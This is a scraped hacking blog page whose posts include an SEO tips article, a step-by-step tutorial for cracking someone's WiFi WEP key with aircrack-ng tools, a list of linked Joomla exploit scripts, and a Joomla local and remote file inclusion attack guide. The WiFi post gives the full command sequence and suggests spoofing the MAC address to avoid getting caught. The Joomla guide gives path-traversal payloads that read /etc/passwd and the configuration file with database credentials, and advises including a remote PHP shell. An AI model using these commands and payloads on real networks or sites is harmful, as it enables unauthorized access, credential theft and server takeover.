<h3>[5].Maintain Consistency: </h3>Keep the structure, navigation and URL structure of your site simple enough for search engines to follow. Remember that search engines cannot parse your navigation if it's using flash or javascript. So try to stay close to standard HTML when it comes to Navigation. URLs with dynamic parameters (?, &, SIDs) usually do not perform when it comes to search engine rankings<br />
<h3>[6]. Create a site map: </h3>Create a site map that tells people where everything is on your site. You will get about a 1% click through rate to your site map. However, it will do wonders for those who know what site maps do, and the Search Engines will like it as well.<br />
<h3>[7]. Build up your popularity: </h3>So now you have determined the right keywords on the right pages, you've created all of the necessary content; you've optimized all of the content to the best of your capabilities. Congratulations - you're now in the top 80 percentile (from an optimization standpoint) of the websites listed for the keywords you're trying to target. So how do you get a 1st, 2nd, or 3rd page listing? The answer is quite simple: You have to be the most popular, too. That's right, it's a popularity contest. In other words, how many other websites know you (link to you), and how popular are they? This is typically referred to as link popularity, or called PageRank by Google. The more sites that link to your site the better, and the more popular the site linking to you the more value you will receive for your link popularity. The best types of "link building" are directory registration, text link advertising, and press release distribution. Try to offer valuable information or tools so that other people are motivated to link to your site. Well linked sites (that don't use spamming) do better in search engines.<br />
<strong>Tips</strong><br />
* Search engine algorithms assess the relevance of your page to any particular keyword by the content on your pages. For instance if you are selling "<i>widgety widgets</i>" on your site and you do not mention "<i>widgety widgets</i>" on your page text, search engines have very little to work with. Also make sure that you are not spamming search engines by using the same keyword over and over.<br />
* Although not as important as they used to be, reciprocal links do still matter with Google. Reciprocate with similar websites and include keywords near the links on your site.<br />
* If you want to optimize well for your city, state etc., make sure to sprinkle geographic search terms throughout. Include it in text as well as set apart. Search engines do not know where you are unless you tell them.<br />
* Bold and italics can make your keywords stand out more with the search engines.<br />
* Interior links within your site will improve SEO; Sitemaps are a great way to generate internal links and make your website better too!<br />
* Correct broken links, search engines do not like dead ends.<br />
* If you have over 30 keywords that mean business to you, then you might want to hire a Professional Search Engine Copywriting firm or outsource it to freelancers.<br />
* Anyone who can go to google and type in "<i>keyword research</i>" will find very many tools that mixed with common sense should suffice quite well.<br />
* Now when digging deeper to understand the traffic patterns of certain keywords use Wordtracker's GTrends Tool. You can get an idea on the amount of competition on Google compared to the amount of searches. Now these numbers are far from accurate, BUT if you can kind of step back and take a broader look at things, don't worry so much about the numbers but compare the trends since it shows the past history. See if its steady traffic, traffic that is going extinct, or traffic just starting to peak. By using this tool, you can many times find some golden opportunities.<br />
* It really comes down to just using common sense. Just sit down and think, "What would other people search to find this? What would I search for to find this?" Try phrases in your keyword research tool to get new ideas and find the higher trafficked most targeted phrases. DO NOT look at the numbers spat back out at you by these programs as accurate numbers, they rarely are. You can still use these tools to get ideas on new keywords, search patterns of users, and many other things, that mixed with the information of trends in that area, can really help you.<br />
Warnings<br />
* If you are going to use freelancers, beware of duplicate content. Always make sure to check the content that you get by searching for the content on Google, Yahoo, and MSN.<br />
* Never have hyperlinks like "<i>click here</i>", hyperlinks should always be keywords, long hyperlinks with multiple keywords are even better.<br />
* Don't hide content.<br />
* Don't create duplicate websites.<br />
* Remember that if you use black-hat SEO techniques, you run the risk of getting penalized by the search engines and having your web site permanently removed from their index.</span></span></div></div>-- <br />
<div dir="ltr">Regards,<br />
Hardeep Singh<br />
(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)</div><br />
</div>

Blogging SEO How to Improve Search Engine Ranking

Showing up on search engines is one of the most critical ways to increase website traffic and expose your content, product or service to pe...

Hack WiFi network with BackTrack

5/16/2011 rahlabs 1

<div dir="ltr" style="text-align: left;" trbidi="on">
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYbCbgH0SWfgYU-dLnIE9jTji_qaJXWDcAMH2MXZ27hey8y6fCLMT-wJD64Ijs5We9h4GysHAQ_5AOtATk8BuyjeG6mSPIMKe-OLHRoJL40EWR_N8NiWYkpzsdxFwF2P_8dOOqIvT66nk/s1600/hack-wifi-with-backtrack.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Hack WiFi network with BackTrack " border="0" data-original-height="600" data-original-width="1280" height="299" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYbCbgH0SWfgYU-dLnIE9jTji_qaJXWDcAMH2MXZ27hey8y6fCLMT-wJD64Ijs5We9h4GysHAQ_5AOtATk8BuyjeG6mSPIMKe-OLHRoJL40EWR_N8NiWYkpzsdxFwF2P_8dOOqIvT66nk/s640/hack-wifi-with-backtrack.jpg" title="Hack WiFi network with BackTrack " width="640" /></a></div>
<span style="background-color: white; font-family: "helvetica neue", arial, sans-serif; font-size: 12px;"><br /></span>
<span style="background-color: white; font-family: "helvetica neue", arial, sans-serif; font-size: 12px;">Wifi or Wireless Fidelity is the name of a popular wireless networking technology that uses radio waves to provide wireless high-speed Internet and network connections (</span><i style="border-width: 0px; font-family: "helvetica neue", arial, sans-serif; font-size: 12px; margin: 0px; padding: 0px;">as if you didn't know..</i><span style="background-color: white; font-family: "helvetica neue", arial, sans-serif; font-size: 12px;">), Wifi has become an integral part of our lives today. Wifi is secured using a WPA protocol which intends to secure Wireless LANs like Wired LAN's by encrypting data over radio waves, however, it has been found that WEP is not as secure as once believed.Now almost anyone can </span><b style="border-width: 0px; font-family: "helvetica neue", arial, sans-serif; font-size: 12px; margin: 0px; padding: 0px;">hack into a Wifi network</b><span style="background-color: white; font-family: "helvetica neue", arial, sans-serif; font-size: 12px;"> by generating the valid WEP key using </span><a href="http://www.hackerschronicle.com/search/label/Backtrack" style="border-width: 0px; color: #104e8b; font-family: "helvetica neue", arial, sans-serif; font-size: 12px; margin: 0px; padding: 0px; text-decoration-line: none;" target="_blank" title="Backtrack 3 - The ultimate security tool"><b style="border-width: 0px; margin: 0px; padding: 0px;">Backtrack</b></a><span style="background-color: white; font-family: "helvetica neue", arial, sans-serif; font-size: 12px;">. Read on to learn how </span>..</div>
<span class="Apple-style-span" style="background-color: white; font-family: "helvetica neue" , "arial" , sans-serif; font-size: 12px; line-height: 22px;"> <div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
<b style="border-width: 0px; margin: 0px; padding: 0px;"><i style="border-width: 0px; margin: 0px; padding: 0px;"><span style="border-width: 0px; font-size: x-small; margin: 0px; padding: 0px;">Disclaimer:</span></i></b> <i style="border-width: 0px; margin: 0px; padding: 0px;"><span style="border-width: 0px; font-size: x-small; margin: 0px; padding: 0px;">This tutorial is given for educational purposes only and that for any misuse of this information, the blogger cannot be held liable.</span></i></div>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
<i style="border-width: 0px; margin: 0px; padding: 0px;"><b style="border-width: 0px; margin: 0px; padding: 0px;">SETTING UP THE CARD AND THE CONSOLE</b></i></div>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
Boot up Backtrack on your virtual machine/laptop and open up the <b style="border-width: 0px; margin: 0px; padding: 0px;">command console</b> and type the commands as they are given -</div>
<ul style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 0px 0px 15px; padding: 0px;">
<li style="border-width: 0px; list-style-position: inside ! important; list-style-type: circle ! important; margin: 0px 0px 0px 15px; padding: 3px 0px;">  <i style="border-width: 0px; margin: 0px; padding: 0px;">ifconfig</i></li>
</ul>
<blockquote style="background-color: #f7f7f7; border: 1px solid rgb(221, 221, 221); color: black; font-family: 'Courier New','MS Sans Serif',sans-serif,serif; font-style: normal; margin: 5px auto 15px; padding: 10px; width: 527px;">
<div style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 5px 0px; padding: 5px 0px;">
This is the <a href="http://www.hackerschronicle.com/search/label/Linux" style="border-width: 0px; color: #104e8b; margin: 0px; padding: 0px; text-decoration: none;" target="_blank" title="More Linux articles at Prohack"><b style="border-width: 0px; margin: 0px; padding: 0px;">Linux</b></a> equivalent of ipconfig, you will see the network adaptors in your system. See which one is for Wi-Fi. A few examples are wlan0, wifi0, etc.</div>
</blockquote>
<ul style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 0px 0px 15px; padding: 0px;">
<li style="border-width: 0px; list-style-position: inside ! important; list-style-type: circle ! important; margin: 0px 0px 0px 15px; padding: 3px 0px;">  <i style="border-width: 0px; margin: 0px; padding: 0px;">airmon-ng</i></li>
</ul>
<blockquote style="background-color: #f7f7f7; border: 1px solid rgb(221, 221, 221); color: black; font-family: 'Courier New','MS Sans Serif',sans-serif,serif; font-style: normal; margin: 5px auto 15px; padding: 10px; width: 527px;">
<div style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 5px 0px; padding: 5px 0px;">
This command will initialize the Wi-Fi network monitoring & will tell you how many networks are in range</div>
</blockquote>
<ul style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 0px 0px 15px; padding: 0px;">
<li style="border-width: 0px; list-style-position: inside ! important; list-style-type: circle ! important; margin: 0px 0px 0px 15px; padding: 3px 0px;">  <i style="border-width: 0px; margin: 0px; padding: 0px;">airmon-ng stop [Wi-Fi Card name(without the quotes)]</i></li>
</ul>
<blockquote style="background-color: #f7f7f7; border: 1px solid rgb(221, 221, 221); color: black; font-family: 'Courier New','MS Sans Serif',sans-serif,serif; font-style: normal; margin: 5px auto 15px; padding: 10px; width: 527px;">
<div style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 5px 0px; padding: 5px 0px;">
This command will stop the cards broadcast and reception immediately</div>
</blockquote>
<ul style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 0px 0px 15px; padding: 0px;">
<li style="border-width: 0px; list-style-position: inside ! important; list-style-type: circle ! important; margin: 0px 0px 0px 15px; padding: 3px 0px;">  <i style="border-width: 0px; margin: 0px; padding: 0px;">macchanger –mac [Desired MAC address] [Wi-Fi card name]</i></li>
</ul>
<blockquote style="background-color: #f7f7f7; border: 1px solid rgb(221, 221, 221); color: black; font-family: 'Courier New','MS Sans Serif',sans-serif,serif; font-style: normal; margin: 5px auto 15px; padding: 10px; width: 527px;">
<div style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 5px 0px; padding: 5px 0px;">
this command will change the current MAC address to any MAC address you desire, so that you don't get caught later</div>
</blockquote>
<ul style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 0px 0px 15px; padding: 0px;">
<li style="border-width: 0px; list-style-position: inside ! important; list-style-type: circle ! important; margin: 0px 0px 0px 15px; padding: 3px 0px;">  <i style="border-width: 0px; margin: 0px; padding: 0px;">airmon-ng start [Wi-Fi Card name]</i></li>
</ul>
<blockquote style="background-color: #f7f7f7; border: 1px solid rgb(221, 221, 221); color: black; font-family: 'Courier New','MS Sans Serif',sans-serif,serif; font-style: normal; margin: 5px auto 15px; padding: 10px; width: 527px;">
<div style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 5px 0px; padding: 5px 0px;">
You will see another extra adaptor that is set on monitor mode, use that adaptor for all further purposes in the following commands where – '[Wi-Fi card name]' appears</div>
</blockquote>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
<i style="border-width: 0px; margin: 0px; padding: 0px;"><b style="border-width: 0px; margin: 0px; padding: 0px;">DUMPING PACKETS</b></i></div>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
Once you have set up all the parameters, you need to <b style="border-width: 0px; margin: 0px; padding: 0px;">sniff and dump data packets</b> in order to get the key.You can do so by using following commands. On the command, console type these commands -</div>
<ul style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 0px 0px 15px; padding: 0px;">
<li style="border-width: 0px; list-style-position: inside ! important; list-style-type: circle ! important; margin: 0px 0px 0px 15px; padding: 3px 0px;">  <i style="border-width: 0px; margin: 0px; padding: 0px;">airodump-ng [Wi-Fi card name]</i></li>
</ul>
<blockquote style="background-color: #f7f7f7; border: 1px solid rgb(221, 221, 221); color: black; font-family: 'Courier New','MS Sans Serif',sans-serif,serif; font-style: normal; margin: 5px auto 15px; padding: 10px; width: 527px;">
<div style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 5px 0px; padding: 5px 0px;">
Copy and paste the BSSID in the following command and execute it<b style="border-width: 0px; margin: 0px; padding: 0px;"><u style="border-width: 0px; margin: 0px; padding: 0px;"></u></b></div>
</blockquote>
<ul style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 0px 0px 15px; padding: 0px;">
<li style="border-width: 0px; list-style-position: inside ! important; list-style-type: circle ! important; margin: 0px 0px 0px 15px; padding: 3px 0px;">  <i style="border-width: 0px; margin: 0px; padding: 0px;">airodump-ng –c [Channel Number] –w [Desired Filename for later decryption] --bssid [BSSID] [Wi-Fi Card name]</i></li>
</ul>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
As you execute the command, you will see a certain number of beacons and data packets that will be stored in the filename you have given. The file will be stored in the root of the system drive (<i style="border-width: 0px; margin: 0px; padding: 0px;">Click on Computer and you will see the file</i>).The file will be present in two formats: *.cap, *.txt.</div>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
<i style="border-width: 0px; margin: 0px; padding: 0px;"><b style="border-width: 0px; margin: 0px; padding: 0px;">SPEEDING UP THINGS</b></i></div>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
However packet dumping is quite a slow process,we need to speed up things to save our time.Open a new console after the first data packet has been stored and type the command in the new console and execute it<b style="border-width: 0px; margin: 0px; padding: 0px;"><u style="border-width: 0px; margin: 0px; padding: 0px;"></u></b></div>
<blockquote style="background-color: #f7f7f7; border: 1px solid rgb(221, 221, 221); color: black; font-family: 'Courier New','MS Sans Serif',sans-serif,serif; font-style: normal; margin: 5px auto 15px; padding: 10px; width: 527px;">
<div style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 5px 0px; padding: 5px 0px;">
<i style="border-width: 0px; margin: 0px; padding: 0px;">airreplay-ng -1 0 –a [BSSID] –h [FAKED MAC ADDRESS] -e [Wi-Fi name (you wish to hack)] [Wi-Fi card name]</i></div>
</blockquote>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
As you type this command you will see that the data packets required for breaking the key will increase dramatically thereby saving you a lot of time.</div>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
<i style="border-width: 0px; margin: 0px; padding: 0px;"><b style="border-width: 0px; margin: 0px; padding: 0px;">REVEALING WEP KEY</b></i></div>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
Open another console once you have around 20,000 data packets and type the following command to reveal the WEP key.<b style="border-width: 0px; margin: 0px; padding: 0px;"><u style="border-width: 0px; margin: 0px; padding: 0px;"></u></b></div>
<blockquote style="background-color: #f7f7f7; border: 1px solid rgb(221, 221, 221); color: black; font-family: 'Courier New','MS Sans Serif',sans-serif,serif; font-style: normal; margin: 5px auto 15px; padding: 10px; width: 527px;">
<div style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 5px 0px; padding: 5px 0px;">
<i style="border-width: 0px; margin: 0px; padding: 0px;">aircrack-ng –n 64 –b [BSSID] [Filename without the extension]  </i></div>
</blockquote>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
As you type this command, you will see that a key will appear in front of you in the given below format:</div>
<blockquote style="background-color: #f7f7f7; border: 1px solid rgb(221, 221, 221); color: black; font-family: 'Courier New','MS Sans Serif',sans-serif,serif; font-style: normal; margin: 5px auto 15px; padding: 10px; width: 527px;">
<div style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 5px 0px; padding: 5px 0px;">
<i style="border-width: 0px; margin: 0px; padding: 0px;">XX:XX:XX:XX</i></div>
</blockquote>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
It is not necessary that the key should have exactly the same digits as shown above so please don't freak out if you see a 10 digit or 14 digit key. Also if the decryption fails, you can change the bit level of the decryption in the command:</div>
<blockquote style="background-color: #f7f7f7; border: 1px solid rgb(221, 221, 221); color: black; font-family: 'Courier New','MS Sans Serif',sans-serif,serif; font-style: normal; margin: 5px auto 15px; padding: 10px; width: 527px;">
<div style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 5px 0px; padding: 5px 0px;">
<i style="border-width: 0px; margin: 0px; padding: 0px;">aircrack-ng –n [BIT LEVEL] –b [BSSID] [Filename without extension]</i></div>
</blockquote>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
Remember, the bit level should be a number of 2<sup style="border-width: 0px; margin: 0px; padding: 0px;">n</sup> where n:1,2,3,4…</div>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
e.g.</div>
<blockquote style="background-color: #f7f7f7; border: 1px solid rgb(221, 221, 221); color: black; font-family: 'Courier New','MS Sans Serif',sans-serif,serif; font-style: normal; margin: 5px auto 15px; padding: 10px; width: 527px;">
<div style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 5px 0px; padding: 5px 0px;">
<i style="border-width: 0px; margin: 0px; padding: 0px;">aircrack-ng –n 32 –b [BSSID] [Filename without the extension]</i></div>
</blockquote>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
OR</div>
<blockquote style="background-color: #f7f7f7; border: 1px solid rgb(221, 221, 221); color: black; font-family: 'Courier New','MS Sans Serif',sans-serif,serif; font-style: normal; margin: 5px auto 15px; padding: 10px; width: 527px;">
<div style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 5px 0px; padding: 5px 0px;">
<i style="border-width: 0px; margin: 0px; padding: 0px;">aircrack-ng –n 128 –b [BSSID] [Filename without the extension] etc. etc.</i></div>
</blockquote>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
Now just login using the WEP key you got.</div>
</span></div>

Backtrack Hacking Tutorials Tutorials WEP Wi-Fi Hack WiFi network with BackTrack

Wifi or Wireless Fidelity is the name of a popular wireless networking technology that uses radio waves to provide wireless high-speed ...

Joomla Hacking Tools: Hack Joomla with self-written tools by Valentin

4/30/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on"><span class="Apple-style-span" style="background-color: white; color: #444444; font-family: Arial,Tahoma,Helvetica,FreeSans,sans-serif; font-size: 13px; line-height: 18px;"><h3 class="post-title entry-title" style="color: #444444; font: bold 22px Arial,Tahoma,Helvetica,FreeSans,sans-serif; margin: 0px; position: relative;">Joomla Hacking Tools: Hack Joomla with self-written tools by Valentin</h3><div class="post-header" style="line-height: 1.6; margin: 0px 0px 1em;"><div class="post-header-line-1"></div></div><div class="post-body entry-content" style="line-height: 1.4; position: relative; width: 506px;"><span id="4213644759481558585"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYiwOeQaV9uiLc5PoAXLpTcTY4bHPTb2__6akZMPIgEUJeGWV7NzxUtRxGIN1DEnfLGYhpdoJE_qDwz7zItQUG671DPS6H1qb41ugjV_ka5nYB6-kAGoWiC2A9S0QKOV7aZtNwcdwDqDCV/s1600/Joomla+Hacking+Tools+Hack+Joomla+with+self-written+tools+by+Valentin.png" style="color: #3778cd; text-decoration: none;"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5603894160709013122" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYiwOeQaV9uiLc5PoAXLpTcTY4bHPTb2__6akZMPIgEUJeGWV7NzxUtRxGIN1DEnfLGYhpdoJE_qDwz7zItQUG671DPS6H1qb41ugjV_ka5nYB6-kAGoWiC2A9S0QKOV7aZtNwcdwDqDCV/s400/Joomla+Hacking+Tools+Hack+Joomla+with+self-written+tools+by+Valentin.png" style="background-color: transparent; border: 1px solid transparent; cursor: pointer; display: block; height: 254px; margin: 0px auto 10px; padding: 8px; position: relative; text-align: center; width: 291px;" /></a><br />
<div style="text-align: center;"><b>Joomla Hacking Tools: Hack Joomla with self-written tools by <a href="http://www.xenuser.org/" style="color: #3778cd; text-decoration: none;">Valentin</a></b></div><div style="text-align: center;"><br />
</div>Manual testing is awesome, but automated checks are faster and maybe even more reliable. Here are some self-written tools you could use for your purposes:<br />
<br />
#1<br />
<b>Joomla QPersonel Exploit</b><br />
<a href="http://www.xenuser.org/exploits/joomla_com_qpersonel_sploit.py">http://www.xenuser.org/exploits/joomla_com_qpersonel_sploit.py</a><br />
<br />
#2<br />
<b>Automated Joomla SQL Injection Exploiter<br />
</b><a href="http://www.xenuser.org/exploits/joomla_sqli_sploiter.py">http://www.xenuser.org/exploits/joomla_sqli_sploiter.py</a><br />
<br />
#3<br />
<b>Joomla BF Quiz Exploit<br />
</b><a href="http://www.xenuser.org/exploits/joomla_com_bfquiz_sploit.py">http://www.xenuser.org/exploits/joomla_com_bfquiz_sploit.py</a><br />
<br />
#4<br />
<b>Column Fuzzer<br />
</b><a href="http://xenuser.org/tools/column_finder.py">http://xenuser.org/tools/column_finder.py</a><br />
<br />
#5<br />
<b>Simple SQL Injection Vulnerability Scanner<br />
</b><a href="http://www.xenuser.org/tools/sqli_scanner.py">http://www.xenuser.org/tools/sqli_scanner.py</a><br />
<br />
#6<br />
<b>Simple Log File Analyzer<br />
</b><a href="http://www.xenuser.org/tools/scan_log.py">http://www.xenuser.org/tools/scan_log.py</a><br />
<br />
#7<br />
<b>Simple Local File Inclusion Exploiter<br />
</b><a href="http://www.xenuser.org/tools/lfi_sploiter.py">http://www.xenuser.org/tools/lfi_sploiter.py</a><br />
<br />
These tools can help you to exploit vulnerabilities within Joomla or some extensions.<br />
<br />
<b>NOTE: </b>Read the help (included in those tools) for details.<br />
<br />
<div style="text-align: center;"><b>The Simple Log File Analyzer could be used for scanning your Apache log files. It shows if there are hack attempts.</b></div></span></div></span><br />
<div><br />
</div>-- <br />
<div dir="ltr">Regards,<br />
Hardeep Singh<br />
(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)</div><br />
</div>

Hacking Tutorials Joomla Joomla Hacking Tools: Hack Joomla with self-written tools by Valentin

Joomla Hacking Tools: Hack Joomla with self-written tools by Valentin Joomla Hacking Tools: Hack Joomla with self-written tools by Valenti...

Joomla LFI Local File Inclusions Attack | Joomla RFI Remote File Inclusions Attack

4/25/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on"><span class="Apple-style-span" style="background-color: white; color: #444444; font-family: Arial,Tahoma,Helvetica,FreeSans,sans-serif; font-size: 13px; line-height: 18px;"><h3 class="post-title entry-title" style="color: #444444; font: bold 22px Arial,Tahoma,Helvetica,FreeSans,sans-serif; margin: 0px; position: relative;">Joomla RFI Remote File Inclusions Attack | Joomla LFI Local File Inclusions Attack</h3><div class="post-header" style="line-height: 1.6; margin: 0px 0px 1em;"><div class="post-header-line-1"></div></div><div class="post-body entry-content" style="line-height: 1.4; position: relative; width: 506px;"><span id="997104527121951847"><div style="text-align: center;"><b>Joomla LFI Local File Inclusions Attack | Joomla RFI Remote File Inclusions Attack</b></div><div style="text-align: center;"><b><br />
</b></div><div style="text-align: center;"><b>By <a href="http://www.xenuser.org/" style="color: #3778cd; text-decoration: none;">Valentin</a></b></div><br />
<div style="text-align: center;"><b>Examples for Joomla local file inclusions</b></div><br />
<b>Local file inclusions </b>are very funny. You tell the website what you want to see. Awesome! You want to view the configuration file which contains the database login credentials? No problem.<div><br />
You want to view the /etc/passwd file if Joomla is hosted on a Linux box? You can do that.<br />
<br />
<b>Local file inclusions</b> are also a common problem in Joomla extensions. Many of them are vulnerable for this type of attack and some of them never get fixed. This may lead to a server hack, which is not funny any more - at least for the system administrator.<br />
<br />
A typical URL being vulnerable to LFI looks like this:<br />
index.php?option=com_blablubb&Item=2&view=guestbookpage<br />
<br />
Typically most of the vulnerable parameters are this one:<br />
- controller<br />
- view<br />
- layout<br />
- page<br />
<br />
To give you some proper understanding of typical affected<br />
URLs I provide you with some examples I found earlier this year:<br />
<br />
URL: index.php?option=com_jejob&view=some_value<br />
Vulnerable Parameter: view<br />
<br />
URL: index.php?option=com_jeajaxeventcalendar&view=some_value<br />
Vulnerable Parameter: view<br />
<br />
URL: index.php?option=com_jradio&controller=some_value<br />
Vulnerable Parameter: controller<br />
((I didn't find this one.))<br />
<br />
Now let's see how we can use this:<br />
index.php?option=com_jradio&controller=../../../../etc/passwd<br />
<br />
In this case we need to use the famous Nullbyte which helps us to bypass a restriction which is set in the responsible PHP script of the component.<br />
<br />
In the example above the controller parameter is used to include a file from the local hard disk. This file contains useful information for us.<br />
<br />
If you are not familiar with local file inclusions I recommend you look a tutorial up since I will not explain any details here.<br />
<br />
Now with the knowledge about a LFI vulnerability within a Joomla component, we can try to access the configuration.php of Joomla. This file contains very very interesting information.<br />
<br />
Since many LFIs also reveal PHP source code, we try this one:<br />
index.php?option=com_blabla&view=../../../configuration.php<br />
<br />
The source code of the file is shown and we receive the login data for the current database user. Now find a <b>PHPMyAdmin login</b> on the same server and try to login with this data.<br />
<br />
<b>You now have access to all Joomla tables and can basically do what you want.<br />
</b><br />
<div style="text-align: center;"><b>Examples for Joomla remote file inclusions</b></div><div style="text-align: center;"><br />
</div>Some Joomla components are also known for containing <b>remote file inclusion vulnerabilities.</b> RFIs allow us to include files from another server and to execure code on the target.<br />
<br />
A typical RFI URL looks like a LFI URL. In order to give you a better feeling of how to see a RFI vulner-ability within seconds, I show you some examples<br />
<br />
URL: index.php?option=com_sef&Itemid=&mosConfig.absolute.path=.<br />
Vulnerable Parameter: &mosConfig.absolute.path<br />
<br />
URL: index.php?option=com_jomestate&task=.<br />
Vulnerable Parameter: task<br />
<br />
When you found a RFI vulnerability, try to include your PHP shell which is hosted on another box. Once you uploaded it, you are able to browse all Joomla files and download them, change them, remove them...<br />
<br />
<b>No Joomla installation is safe when there is an exploited RFI.</b></div></span></div></span><br />
<div><br />
</div>-- <br />
<div dir="ltr">Regards,<br />
Hardeep Singh<br />
(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)</div><br />
</div>

Hacking Tutorials Joomla Joomla LFI Local File Inclusions Attack | Joomla RFI Remote File Inclusions Attack

Joomla RFI Remote File Inclusions Attack | Joomla LFI Local File Inclusions Attack Joomla LFI Local File Inclusions Attack | Joomla RFI Remo...